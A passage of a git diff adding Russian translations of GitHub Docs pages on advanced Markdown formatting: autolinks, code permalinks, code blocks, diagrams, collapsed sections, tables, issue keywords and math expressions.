ifversion fpt or ghec %} +- 10MB for videos uploaded to a repository owned by a user or organization on a free GitHub plan +- 100MB for videos uploaded to a repository owned by a user or organization on a paid GitHub plan{% elsif ghes %} +- 100MB for videos{% endif %} +- 25MB for all other files + +We support these files: + +* PNG (*.png*) +* GIF (*.gif*) +* JPEG (*.jpg*) +{%- ifversion svg-support %} +* SVG (*.svg*) +{%- endif %} +* Log files (*.log*) +* Microsoft Word (*.docx*), Powerpoint (*.pptx*), and Excel (*.xlsx*) documents +* Text files (*.txt*) +* PDFs (*.pdf*) +* ZIP (*.zip*, *.gz*, *.tgz*){% ifversion fpt or ghec or ghes %} +* Video (*.mp4*, *.mov*, *.webm*){% endif %} + +{% ifversion fpt or ghec or ghes %}{% note %} + +**Note:** Video codec compatibility is browser specific, and it's possible that a video you upload to one browser is not viewable on another browser. At the moment we recommend using h.264 for greatest compatibility. + +{% endnote %}{% endif %} + +![Attachments animated GIF](/assets/images/help/pull_requests/dragging_images.gif) diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md new file mode 100644 index 000000000000..18b6447e0a63 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md @@ -0,0 +1,83 @@ +--- +title: Автосвязанные ссылки и URL-адреса +intro: 'Ссылки на URL-адреса, проблемы, запросы на вытягивание и фиксации автоматически сокращаются и преобразуются в ссылки.' +redirect_from: + - /articles/autolinked-references-and-urls + - /github/writing-on-github/autolinked-references-and-urls + - /github/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Auto linked references +ms.openlocfilehash: 9df56a50880477e445df09b1e4d01f6d9d10188e +ms.sourcegitcommit: 5beb76e9fdaed2e891ed4a26f75b55c733f6454f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/12/2022 +ms.locfileid: '148044308' +--- +## URL-адреса + +{% data variables.product.product_name %} автоматически создает ссылки из стандартных URL-адресов. + +`Visit https://github.com` + +![Отображаемый автоматически связанный URL-адрес](/assets/images/help/writing/url-autolink-rendered.png) + +Дополнительные сведения о создании ссылок см. в разделе [Базовый синтаксис записи и форматирования](/articles/basic-writing-and-formatting-syntax/#links). + +## Проблемы и запросы на вытягивание + +В беседах на {% data variables.product.product_name %} ссылки на проблемы и запросы на вытягивание автоматически преобразуются в сокращенные. + +{% note %} + +**Примечание.** Автоматически связанные ссылки не создаются в вики-сайтах или файлах в репозитории. + +{% endnote %} + +| Тип справочной ссылки | Простая ссылка | Короткая ссылка | +| --- | --- | --- | +| URL-адрес проблемы или запроса на внесение изменений | https://github.com/jlord/sheetsee.js/issues/26 | [#26](https://github.com/jlord/sheetsee.js/issues/26) +| `#` и номер проблемы или запроса на внесение изменений | #26 | [#26](https://github.com/jlord/sheetsee.js/issues/26) | +| `GH-` и номер проблемы или запроса на внесение изменений | GH-26 | [GH-26](https://github.com/jlord/sheetsee.js/issues/26) | +| `Username/Repository#` и номер проблемы или запроса на внесение изменений | jlord/sheetsee.js#26 | [jlord/sheetsee.js#26](https://github.com/jlord/sheetsee.js/issues/26) +| `Organization_name/Repository#` и номер проблемы или запроса на внесение изменений | github/linguist#4039 | [github/linguist#4039](https://github.com/github/linguist/pull/4039) + +{% ifversion fpt or ghec %} Если вы ссылаетесь на проблему, запрос на вытягивание или обсуждение в списке, ссылка будет разворачиваться для отображения заголовка и состояния. Дополнительную информацию о списках задач см. в разделе [Сведения о списках задач](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists). +{% endif %} + +## Метки +При создании ссылки на URL-адрес метки в Markdown она отображается автоматически. Отображаются только метки из одного репозитория, URL-адреса, которые указывают на метки из других репозиториев, отображаются как обычные [URL-адреса](/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls#urls). + +Чтобы найти URL-адрес метки, перейдите на страницу меток и щелкните нужную метку. Например, URL-адрес метки "enhancement" в общедоступном [репозитории docs](https://github.com/github/docs/) будет выглядеть следующим образом: + +```md +https://github.com/github/docs/labels/enhancement +``` +{% note %} + +**Примечание:** Если имя метки содержит точку (`.`), метка не будет автоматически отображаться из URL-адреса метки. + +{% endnote %} + +## Фиксация SHA + +Ссылки на хэш SHA фиксации автоматически преобразуются в сокращенные ссылки на фиксацию на {% data variables.product.product_name %}. + +| Тип справочной ссылки | Простая ссылка | Короткая ссылка | +| --- | --- | --- | +| URL-адрес фиксации | [`https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e`](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | [a5c3785](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | +| SHA | a5c3785ed8d6a35868bc169f07e40e889087fd2e | [a5c3785](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | +| User@SHA | jlord@a5c3785ed8d6a35868bc169f07e40e889087fd2e | [jlord@a5c3785](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) +| `Username/Repository@SHA` | `jlord/sheetsee.js@a5c3785ed8d6a35868bc169f07e40e889087fd2e` | [`jlord/sheetsee.js@a5c3785`](https://github.com/jlord/sheetsee.js/commit/a5c3785ed8d6a35868bc169f07e40e889087fd2e) | + +## Пользовательские автоматические ссылки на внешние ресурсы + +{% data reusables.repositories.autolink-references %} + +## Дополнительные материалы + +- [Базовый синтаксис записи и форматирования](/articles/basic-writing-and-formatting-syntax) diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet.md new file mode 100644 index 000000000000..00f0128b2224 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet.md @@ -0,0 +1,57 @@ +--- +title: Создание постоянной ссылки на фрагмент кода +intro: Вы можете создать постоянную ссылку на определенную строку или диапазон строк кода в определенной версии файла или запроса на вытягивание. +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/creating-a-permanent-link-to-a-code-snippet + - /articles/creating-a-permanent-link-to-a-code-snippet + - /github/managing-your-work-on-github/creating-a-permanent-link-to-a-code-snippet + - /github/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Permanent links to code +ms.openlocfilehash: d1c363eba2a45558f3fdc9b55025309544ef677b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145069848' +--- +## Ссылка на код + +Постоянная ссылка этого типа отображается в виде фрагмента кода только в репозитории, в котором она была создана. В других репозиториях постоянная ссылка на фрагмент кода отображается в виде URL-адреса. + +![Фрагмент кода, отображаемый в примечании](/assets/images/help/repository/rendered-code-snippet.png) + +{% tip %} + +**Совет.** Сведения о создании постоянной ссылки для всего файла см. в разделе "[Получение постоянных ссылок на файлы](/articles/getting-permanent-links-to-files)". + +{% endtip %} + +{% data reusables.repositories.navigate-to-repo %} +2. Найдите код, на который нужно задать ссылку: + - Чтобы создать ссылку на код из файла, перейдите к файлу. + - Чтобы создать ссылку на код из запроса на включение внесенных изменений, откройте этот запрос и щелкните {% octicon "diff" aria-label="The file diff icon" %} **Измененные файлы**. Затем откройте файл, где находится код, который нужно включить в комментарий, и нажмите **Просмотреть**. +{% data reusables.repositories.choose-line-or-range %} +4. Щелкните значок {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} слева от строки или диапазона строк. В раскрывающемся меню выберите **Копировать постоянную ссылку**. + ![Меню Kebab с командой копирования постоянной ссылки для выбранной строки](/assets/images/help/repository/copy-permalink-specific-line.png) +5. Перейдите к беседе, в которой нужно оставить ссылку на фрагмент кода. +6. Вставьте постоянную ссылку в комментарий и нажмите кнопку **Комментарий**. + ![Вставленная постоянная ссылка в комментарии в том же репозитории](/assets/images/help/repository/code-snippet-permalink-in-comment.png) + +## Ссылка на Markdown + +Чтобы оставить ссылку на определенные строки в файле Markdown, загрузите файл Markdown без отрисовки. Для этого используйте параметр `?plain=1` в конце URL-адреса файла. Например, `github.com/<organization>/<repository>/blob/<branch_name>/README.md?plain=1`. + +Можно указать ссылку на определенную строку в файле Markdown так же, как и в ссылке на код. Для этого в конце URL-адреса добавьте к `#L` номер строки или номера строк. Например, ссылка `github.com/<organization>/<repository>/blob/<branch_name>/README.md?plain=1#L14` выделяет 14-ю строку в простом файле README.md. + +## Дополнительные материалы + +- "[Создание проблемы](/articles/creating-an-issue/)" +- "[Открытие проблемы из кода](/articles/opening-an-issue-from-code/)" +- "[Проверка изменений в запросах на включение внесенных изменений](/articles/reviewing-changes-in-pull-requests/)" diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md new file mode 100644 index 000000000000..d2f4bdbe5590 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md @@ -0,0 +1,83 @@ +--- +title: Создание и выделение блоков кода +intro: Предоставляйте общий доступ к примерам кода с изолированными блоками кода и включайте выделения синтаксиса. +redirect_from: + - /articles/creating-and-highlighting-code-blocks + - /github/writing-on-github/creating-and-highlighting-code-blocks + - /github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Create code blocks +ms.openlocfilehash: ba0b49795df16fbafc77ef43c6fef58684162709 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882420' +--- +## Огороженные блоки кода + +Чтобы создать блок кода с ограждением, можно поместить блок кода между тремя обратными штрихами <code>\`\`\`</code>. Рекомендуется оставлять пустую строку до блока кода и после него для удобства чтения. + +<pre> +``` +function test() { + console.log("notice the blank line before this function?"); +} +``` +</pre> + +![Отрисованный блок кода с ограждением](/assets/images/help/writing/fenced-code-block-rendered.png) + +{% tip %} + +**Совет.** Чтобы сохранить форматирование в списке, поставьте восемь пробелов в качестве отступа для блока кода без ограждения. + +{% endtip %} + +Чтобы показать три обратных штриха в блоке кода с ограждением, заключите их в четыре обратных штриха. + + +<pre> +```` +``` +Look! You can see my backticks. +``` +```` +</pre> + +![Отрисованный код с ограждением с блоком из обратных штрихов](/assets/images/help/writing/fenced-code-show-backticks-rendered.png) + +{% data reusables.user-settings.enabling-fixed-width-fonts %} + +## Выделение синтаксиса + +<!-- If you make changes to this feature, check whether any of the changes affect languages listed in /get-started/learning-about-github/github-language-support. If so, please update the language support article accordingly. --> + +Чтобы включить выделение синтаксических конструкций в блоке кода с ограждением можно добавить необязательный идентификатор языка. + +Например, так можно задать выделение синтаксических конструкций Ruby: + + ```ruby + require 'redcarpet' + markdown = Redcarpet.new("Hello World!") + puts markdown.to_html + ``` + +![Отрисованный блок кода с выделением синтаксических конструкций Ruby](/assets/images/help/writing/code-block-syntax-highlighting-rendered.png) + +Мы используем библиотеку [Linguist](https://github.com/github/linguist) для определения языка и выбора [сторонних грамматик](https://github.com/github/linguist/blob/master/vendor/README.md) для выделения синтаксических конструкций. Ознакомиться со списком допустимых ключевых слов можно в [YAML-файле языков](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml). + +{% ifversion mermaid %} +## Создание схем + +С помощью блоков кода также можно создавать схемы в Markdown. GitHub поддерживает синтаксис Mermaid, GeoJSON, TopoJSON и ASCII STL. Дополнительные сведения см. в разделе [Создание схем](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams). + +{% endif %} +## Дополнительные материалы + +- [Спецификация {% data variables.product.prodname_dotcom %} Flavored Markdown](https://github.github.com/gfm/) +- [Базовый синтаксис записи и форматирования](/articles/basic-writing-and-formatting-syntax) diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams.md new file mode 100644 index 000000000000..ca74e150fa06 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams.md @@ -0,0 +1,175 @@ +--- +title: Создание схем +intro: Создание схем для передачи информации с помощью диаграмм и графиков +versions: + feature: mermaid +shortTitle: Create diagrams +ms.openlocfilehash: 0e588fb771bd7992f75e364624576e216cf84000 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147529738' +--- +## Сведения о создании схем + +Схемы можно создавать в Markdown с помощью трех вариантов синтаксиса: mermaid, geoJSON и topoJSON, а также ASCII STL. Отрисовка диаграмм доступна в {% data variables.product.prodname_github_issues %}, {% data variables.product.prodname_discussions %}, запросах на вытягивание, вики-страницах и файлах Markdown. + +## Создание схем mermaid + +Mermaid — это инструмент наподобие Markdown, который преобразует текст в схемы. Например, Mermaid может отображать блок-схемы, схемы последовательностей, круговые диаграммы и др. Дополнительные сведения см. в [документации по Mermaid](https://mermaid-js.github.io/mermaid/#/). + +Чтобы создать схему Mermaid, добавьте фрагмент разметки Mermaid в блок кода с ограждением, указав идентификатор языка `mermaid`. Дополнительные сведения о создании блоков кода см. в разделе "[Создание и выделение блоков кода](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks)". + +Например, можно создать блок-схему: + +<pre> +Here is a simple flow chart: + +```mermaid +graph TD; + A-->B; + A-->C; + B-->D; + C-->D; +``` +</pre> + +![Отрисованная блок-схема Mermaid](/assets/images/help/writing/mermaid-flow-chart.png) + +{% note %} + +**Примечание.** Если вы используете синтаксис Mermaid в {% data variables.product.company_short %}, то при запуске сторонних подключаемых модулей Mermaid могут возникать ошибки. + +{% endnote %} + +## Создание карт GeoJSON и TopoJSON + +Для создания интерактивных карт можно использовать синтаксис GeoJSON/TopoJSON. Чтобы создать карту, добавьте разметку GeoJSON или TopoJSON в блок кода с ограждением, указав идентификатор синтаксиса `geojson` или `topojson`. Дополнительные сведения см. в разделе [Создание и выделение блоков кода](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks). + +### Использование GeoJSON + +Например, можно создать простую карту: + +<pre> +```geojson +{ + "type": "FeatureCollection", + "features": [ + { + "type": "Feature", + "id": 1, + "properties": { + "ID": 0 + }, + "geometry": { + "type": "Polygon", + "coordinates": [ + [ + [-90,35], + [-90,30], + [-85,30], + [-85,35], + [-90,35] + ] + ] + } + } + ] +} +``` +</pre> + +![Отрисованная карта](/assets/images/help/writing/fenced-geojson-rendered-map.png) + +### Использование TopoJSON + +Например, можно создать простую карту TopoJSON: + +<pre> +```topojson +{ + "type": "Topology", + "transform": { + "scale": [0.0005000500050005, 0.00010001000100010001], + "translate": [100, 0] + }, + "objects": { + "example": { + "type": "GeometryCollection", + "geometries": [ + { + "type": "Point", + "properties": {"prop0": "value0"}, + "coordinates": [4000, 5000] + }, + { + "type": "LineString", + "properties": {"prop0": "value0", "prop1": 0}, + "arcs": [0] + }, + { + "type": "Polygon", + "properties": {"prop0": "value0", + "prop1": {"this": "that"} + }, + "arcs": [[1]] + } + ] + } + }, + "arcs": [[[4000, 0], [1999, 9999], [2000, -9999], [2000, 9999]],[[0, 0], [0, 9999], [2000, 0], [0, -9999], [-2000, 0]]] +} +``` +</pre> + +![Отрисованная карта topoJSON](/assets/images/help/writing/fenced-topojson-rendered-map.png) + +Дополнительные сведения о работе с файлами `.geojson` и `.topojson` см. в разделе "[Работа с файлами без кода](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github)". + + +## Создание трехмерных моделей STL + +Синтаксис ASCII STL можно использовать непосредственно в Markdown для создания интерактивных трехмерных моделей. Чтобы отобразить модель, добавьте разметку ASCII STL в блок кода с ограждением, указав идентификатор синтаксиса `stl`. Дополнительные сведения см. в разделе [Создание и выделение блоков кода](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks). + +Например, можно создать простую трехмерную модель: + +<pre> +```stl +solid cube_corner + facet normal 0.0 -1.0 0.0 + outer loop + vertex 0.0 0.0 0.0 + vertex 1.0 0.0 0.0 + vertex 0.0 0.0 1.0 + endloop + endfacet + facet normal 0.0 0.0 -1.0 + outer loop + vertex 0.0 0.0 0.0 + vertex 0.0 1.0 0.0 + vertex 1.0 0.0 0.0 + endloop + endfacet + facet normal -1.0 0.0 0.0 + outer loop + vertex 0.0 0.0 0.0 + vertex 0.0 0.0 1.0 + vertex 0.0 1.0 0.0 + endloop + endfacet + facet normal 0.577 0.577 0.577 + outer loop + vertex 1.0 0.0 0.0 + vertex 0.0 1.0 0.0 + vertex 0.0 0.0 1.0 + endloop + endfacet +endsolid +``` +</pre> + +![Отрисованная трехмерная модель](/assets/images/help/writing/fenced-stl-rendered-object.png) + +Дополнительные сведения о работе с файлами `.stl` см. в разделе "[Работа с файлами без кода](/repositories/working-with-files/using-files/working-with-non-code-files#3d-file-viewer). + diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/index.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/index.md new file mode 100644 index 000000000000..2aff7e20a6e9 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/index.md @@ -0,0 +1,31 @@ +--- +title: Работа с расширенным форматированием +intro: 'Такие способы форматирования, как таблицы, выделение синтаксиса и автоматическое связывание, позволяют четко упорядочивать сложную информацию в запросах на вытягивание, сообщениях о проблемах и комментариях.' +redirect_from: + - /articles/working-with-advanced-formatting + - /github/writing-on-github/working-with-advanced-formatting +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /organizing-information-with-tables + - /organizing-information-with-collapsed-sections + - /creating-and-highlighting-code-blocks + - /creating-diagrams + - /writing-mathematical-expressions + - /autolinked-references-and-urls + - /attaching-files + - /about-task-lists + - /creating-a-permanent-link-to-a-code-snippet + - /using-keywords-in-issues-and-pull-requests +shortTitle: Work with advanced formatting +ms.openlocfilehash: b7f52fc620c65c62b050f44a396e3a048e1ad7ac +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159981' +--- + diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md new file mode 100644 index 000000000000..7f87f9b9d2b0 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md @@ -0,0 +1,50 @@ +--- +title: Упорядочение сведений с помощью свернутых разделов +intro: 'Можно упростить разметку Markdown, создав свернутый раздел с тегом `<details>`.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +redirect_from: + - /github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections +shortTitle: Collapsed sections +ms.openlocfilehash: 1a1f0669ce401946f4a7a08dd1fd41893078e3d0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '146273101' +--- +## Создание свернутого раздела + +Можно временно скрыть разделы Markdown, создав свернутый раздел, который читатель может развернуть. Например, если вы хотите включить технические сведения в комментарий к проблеме, которые могут быть нерелевантными или интересными каждому читателю, эти сведения можно поместить в свернутый раздел. + +Все Markdown в блоке `<details>` будут свернуты, пока читатель не щелкнет {% octicon "triangle-right" aria-label="The right triange icon" %} для разворачивания сведений. В блоке `<details>` используйте тег `<summary>`, чтобы создать метку справа от {% octicon "triangle-right" aria-label="The right triange icon" %}. + +````markdown +<details><summary>CLICK ME</summary> +<p> + +#### We can hide anything, even code! + +```ruby + puts "Hello World" +``` + +</p> +</details> +```` + +Markdown будет свернут по умолчанию. + +![Отображение в свернутом состоянии](/assets/images/help/writing/collapsed-section-view.png) + +После нажатия читателем {% octicon "triangle-right" aria-label="The right triange icon" %} сведения будут развернуты. + +![Отображение в открытом состоянии](/assets/images/help/writing/open-collapsed-section.png) + +## Дополнительные материалы + +- [Спецификация {% data variables.product.prodname_dotcom %} Flavored Markdown](https://github.github.com/gfm/) +- [Базовый синтаксис записи и форматирования](/articles/basic-writing-and-formatting-syntax) diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md new file mode 100644 index 000000000000..05a6bf411632 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md @@ -0,0 +1,88 @@ +--- +title: Организация информации с помощью таблиц +intro: 'Можно создать таблицы, чтобы упорядочить информацию в комментариях, проблемах, запросах на вытягивание и на вики-сайтах.' +redirect_from: + - /articles/organizing-information-with-tables + - /github/writing-on-github/organizing-information-with-tables + - /github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Organized data with tables +ms.openlocfilehash: 6045e9f27432233cbfcdb654c303bc02ea5666cd +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145069832' +--- +## Создание таблицы + +Вы можете создавать таблицы с вертикальной чертой `|` и дефисами `-`. Дефисы используются, чтобы создать для каждого столбца заголовок. Вертикальные черты разделяют столбцы. Необходимо включить пустую строку перед таблицей, чтобы она правильно преобразовалась для просмотра. + +```markdown + +| First Header | Second Header | +| ------------- | ------------- | +| Content Cell | Content Cell | +| Content Cell | Content Cell | +``` + +![Преобразованная для просмотра таблица](/assets/images/help/writing/table-basic-rendered.png) + +Вертикальные черты на обоих концах таблицы не являются обязательными. + +Ячейки могут различаться по ширине и не обязательно должны быть идеально выровнены внутри столбцов. В каждом столбце строки заголовка должно быть не менее трех дефисов. + +```markdown +| Command | Description | +| --- | --- | +| git status | List all new or modified files | +| git diff | Show file differences that haven't been staged | +``` + +![Преобразованная для просмотра таблица с различной шириной ячеек](/assets/images/help/writing/table-varied-columns-rendered.png) + +{% data reusables.user-settings.enabling-fixed-width-fonts %} + +## Форматирование содержимого в таблице + +В таблице можно использовать [форматирование](/articles/basic-writing-and-formatting-syntax), например ссылки, встроенные блоки кода и оформление текста: + +```markdown +| Command | Description | +| --- | --- | +| `git status` | List all *new or modified* files | +| `git diff` | Show file differences that **haven't been** staged | +``` + +![Преобразованная для просмотра таблица с форматированным текстом](/assets/images/help/writing/table-inline-formatting-rendered.png) + +Текст можно выровнять по левому, правому краю или по центру столбца, включив двоеточия `:` слева, справа или с обеих сторон от дефисов в строке заголовка. + +```markdown +| Left-aligned | Center-aligned | Right-aligned | +| :--- | :---: | ---: | +| git status | git status | git status | +| git diff | git diff | git diff | +``` + +![Преобразованная для просмотра таблица с выравниванием текста по левому, правому краях и по центру](/assets/images/help/writing/table-aligned-text-rendered.png) + +Чтобы включить вертикальную черту `|` ​​в качестве содержимого в вашу ячейку, используйте `\` перед вертикальной чертой: + +```markdown +| Name | Character | +| --- | --- | +| Backtick | ` | +| Pipe | \| | +``` + +![Преобразованная для просмотра таблица с экранированной вертикальной чертой](/assets/images/help/writing/table-escaped-character-rendered.png) + +## Дополнительные материалы + +- [Спецификация {% data variables.product.prodname_dotcom %} Flavored Markdown](https://github.github.com/gfm/) +- [Базовый синтаксис записи и форматирования](/articles/basic-writing-and-formatting-syntax) diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests.md new file mode 100644 index 000000000000..04d1482ab6c9 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests.md @@ -0,0 +1,39 @@ +--- +title: Использование ключевых слов в проблемах и запросах на вытягивание +intro: 'Используйте ключевые слова, чтобы связать проблему с запросом на вытягивание или отметить проблему или запрос на вытягивание как дубликат.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +redirect_from: + - /github/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests +topics: + - Issues + - Pull requests +ms.openlocfilehash: a256622562caa95c5778c1ed6d6455edebc16530 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146273093' +--- +## Связывание запроса на вытягивание с проблемой + +Чтобы связать запрос на включение внесенных изменений с проблемой с целью показать, что выполняется исправление, и автоматически закрыть проблему при слиянии запроса на включение внесенных изменений, введите одно из приведенных ниже ключевых слов перед ссылкой на проблему. Например, `Closes #10` или `Fixes octo-org/octo-repo#100`. + +* close +* закрывается +* closed +* Исправление +* исправляется +* fixed +* resolve +* разрешается +* разрешена + +Дополнительные сведения см. в разделе [Связывание запроса на вытягивание с проблемой](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue). + +## Пометка проблемы или запроса на вытягивание как дубликата + +Чтобы пометить проблему или запрос на вытягивание как дубликат, введите "Дубликат" и номер проблемы или запроса на вытягивание, которые он дублирует в теле нового комментария. Дополнительные сведения см. в разделе [Пометка проблем или запросов на вытягивание как дубликатов](/issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate). diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md new file mode 100644 index 000000000000..2a01789396cc --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md @@ -0,0 +1,79 @@ +--- +title: Writing mathematical expressions +intro: 'Use Markdown to display mathematical expressions on {% data variables.product.company_short %}.' +versions: + feature: math +shortTitle: Mathematical expressions +--- + +## About writing mathematical expressions + +To enable clear communication of mathematical expressions, {% data variables.product.product_name %} supports LaTeX formatted math within Markdown. For more information, see [LaTeX/Mathematics](http://en.wikibooks.org/wiki/LaTeX/Mathematics) in Wikibooks. + +{% data variables.product.company_short %}'s math rendering capability uses MathJax; an open source, JavaScript-based display engine. MathJax supports a wide range of LaTeX macros, and several useful accessibility extensions. For more information, see [the MathJax documentation](http://docs.mathjax.org/en/latest/input/tex/index.html#tex-and-latex-support) and [the MathJax Accessibility Extensions Documentation](https://mathjax.github.io/MathJax-a11y/docs/#reader-guide). + +Mathematical expressions rendering is available in {% data variables.product.prodname_github_issues %}, {% data variables.product.prodname_discussions %}, pull requests, {% ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}wikis, {% endif %}and Markdown files. + +## Writing inline expressions + +To include a math expression inline with your text, delimit the expression with a dollar symbol `$`. + +``` +This sentence uses `$` delimiters to show math inline: $\sqrt{3x-1}+(1+x)^2$ +``` + +![Inline math markdown rendering](/assets/images/help/writing/inline-math-markdown-rendering.png) + +## Writing expressions as blocks + +To add a math expression as a block, start a new line and delimit the expression with two dollar symbols `$$`. + +``` +**The Cauchy-Schwarz Inequality** + +$$\left( \sum_{k=1}^n a_k b_k \right)^2 \leq \left( \sum_{k=1}^n a_k^2 \right) \left( \sum_{k=1}^n b_k^2 \right)$$ +``` + +![Math expression as a block rendering](/assets/images/help/writing/math-expression-as-a-block-rendering.png) + +{% ifversion math-fenced-blocks %} + +Alternatively, you can use the <code>\`\`\`math</code> code block syntax to display a math expression as a block. With this syntax, you don't need to use `$$` delimiters. + +```` +**Here is some math!** + +```math +\sqrt{3} +``` +```` + +![Math expression in a fenced code block](/assets/images/help/writing/math-expression-as-a-fenced-code-block.png) + +{% endif %} + +## Writing dollar signs in line with and within mathematical expressions + +To display a dollar sign as a character in the same line as a mathematical expression, you need to escape the non-delimiter `$` to ensure the line renders correctly. + + - Within a math expression, add a `\` symbol before the explicit `$`. + + ``` + This expression uses `\$` to display a dollar sign: $\sqrt{\$4}$ + ``` + + ![Dollar sign within math expression](/assets/images/help/writing/dollar-sign-within-math-expression.png) + + - Outside a math expression, but on the same line, use span tags around the explicit `$`. + + ``` + To split <span>$</span>100 in half, we calculate $100/2$ + ``` + + ![Dollar sign inline math expression](/assets/images/help/writing/dollar-sign-inline-math-expression.png) + +## Further reading + +* [The MathJax website](http://mathjax.org) +* [Getting started with writing and formatting on GitHub](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github) +* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/about-saved-replies.md 